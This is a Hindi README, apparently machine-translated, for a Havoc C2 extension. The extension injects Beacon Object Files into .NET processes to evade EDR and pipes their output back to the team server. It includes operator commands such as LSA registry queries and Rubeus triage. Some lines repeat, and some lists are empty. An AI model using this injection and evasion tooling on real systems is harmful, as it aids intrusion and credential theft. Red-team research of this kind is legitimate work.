Remote BOF Runner, Beacon Object Files (BOFs) के दूरस्थ निष्पादन के लिए Crystal Palace के साथ बने PIC लोडर का उपयोग करने वाला एक Havoc विस्तार ढांचा है।
Crystal Palace के साथ बने PIC लोडर का उपयोग करके Beacon Object Files (BOFs) के रिमोट निष्पादन के लिए एक Havoc एक्सटेंशन फ्रेमवर्क।
रिमोट BOF रनर Crystal Palace PIC लोडर का लाभ उठाकर मनमानी प्रक्रियाओं में BOFs के सुरक्षित निष्पादन को सक्षम बनाता है। यह फ्रेमवर्क नेम्ड पाइप के माध्यम से एक परिष्कृत अंतर-प्रक्रिया संचार (IPC) तंत्र को लागू करता है ताकि इंजेक्ट की गई प्रक्रियाओं से बीकन आउटपुट को पारदर्शी रूप से कमांड और कंट्रोल (C2) सर्वर पर वापस भेजा जा सके।
सुनिश्चित करें कि एक्सटेंशन Havoc एक्सटेंशन निर्देशिका में स्थापित है:
YOUR_HAVOC_FOLDER + /data/extensions/
PIC लोडर को संकलित करने के लिए, निम्नलिखित उपकरण और लाइब्रेरी आपके सिस्टम पर स्थापित होने चाहिए:
विस्तृत सेटअप निर्देशों के लिए, WSL सेटअप गाइड देखें।
sudo apt-get update
sudo apt-get install mingw-w64
sudo apt-get install make
sudo apt-get install openjdk-11-jdk
sudo apt-get install zip
BOF घटक निम्नलिखित के लिए जिम्मेदार है:
PIC लोडर में शामिल हैं:
┌───────────────────────────────────────────────────────────────────┐
│ 1. Beacon Process (Havoc) │
│ ├─ Execute BOF Injector │
│ ├─ Create dummy process (suspended) │
│ ├─ Inject PIC Loader + Remote BOF │
│ └─ Create IPC named pipe │
└────────────┬──────────────────────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────────────┐
│ 2. PIC Loader Execution │
│ ├─ Crystal Palace loader │
│ ├─ Performs BSS section allocation │
│ ├─ Initializes UI context (for .NET compatibility) │
│ └─ Hooks beacon functions (BeaconPrintf, BeaconOutput, etc.) │
└────────────┬──────────────────────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────────────┐
│ 3. Remote BOF Execution │
│ ├─ Execute target BOF (whoami, ipconfig, etc.) │
│ ├─ BOF calls hooked beacon functions │
│ ├─ Hooked functions redirect output to IPC pipe │
│ └─ Output accumulates in beacon process via pipe │
└────────────┬──────────────────────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────────────┐
│ 4. Output Collection & Transmission │
│ ├─ Beacon waits for remote process termination │
│ ├─ Accumulates all output from IPC pipe │
│ ├─ Aggregates fragmented messages (8KB buffer) │
│ ├─ Filters protocol delimiters (@START@, @END@) │
│ └─ Transmits consolidated output to Team Server │
└───────────────────────────────────────────────────────────────────┘
प्राथमिक उपयोग मामला मूल .NET प्रक्रियाओं में BOFs निष्पादित करना है:
बीकन में प्रत्यक्ष CLR लोडिंग जोखिमपूर्ण क्यों है: बीकन प्रक्रिया में सीधे .NET असेंबली लोड करना स्वाभाविक रूप से असुरक्षित और पहचानने योग्य है:
एक संभावित समाधान: मूल .NET प्रक्रिया इंजेक्शन: बीकन में CLR लोड करने के बजाय, हम अपने inline-execute-assembly BOF को ऐसी प्रक्रिया में इंजेक्ट और निष्पादित करते हैं जो पहले से .NET-मूल है:
// ❌ DETECTABLE: Direct execution in beacon
beacon.exe (native) → load ClrCreateInstance → load .NET assembly → EDR ALERT
// ✅ STEALTHY: Execution in native .NET process
dotnet.exe (native .NET) → inject BOF → inline-execute-assembly →
execute .NET assembly in already-CLR context → normal behavior
यह दृष्टिकोण इस तथ्य का लाभ उठाता है कि .NET प्रक्रिया के भीतर .NET निष्पादित करना सामान्य एप्लिकेशन व्यवहार से अप्रभेद्य है।
remote-bof-runner whoami
remote-bof-runner ipconfig
remote-bof-runner cacls C:\Windows\System32
remote-bof-runner reg-query DC01 HKLM SYSTEM\CurrentControlSet
remote-bof-runner reg-query HKLM SYSTEM\CurrentControlSet\Control\Lsa
remote-bof-runner reg-query HKLM SYSTEM\CurrentControlSet\Control\Lsa RunAsPPL
remote-bof-runner execute-assembly --dotnetassembly "/Payloads/Rubeus.exe" --assemblyargs "triage"
उदाहरण आउटपुट:

⚠️ महत्वपूर्ण: यह प्रोजेक्ट एक प्रूफ-ऑफ-कॉन्सेप्ट है और डिफ़ॉल्ट रूप से OPSEC को प्राथमिकता नहीं देता है।
BOF इंजेक्टर और PIC लोडर दोनों को प्रतिकारक सिमुलेशन के लिए महत्वपूर्ण हार्डनिंग की आवश्यकता है: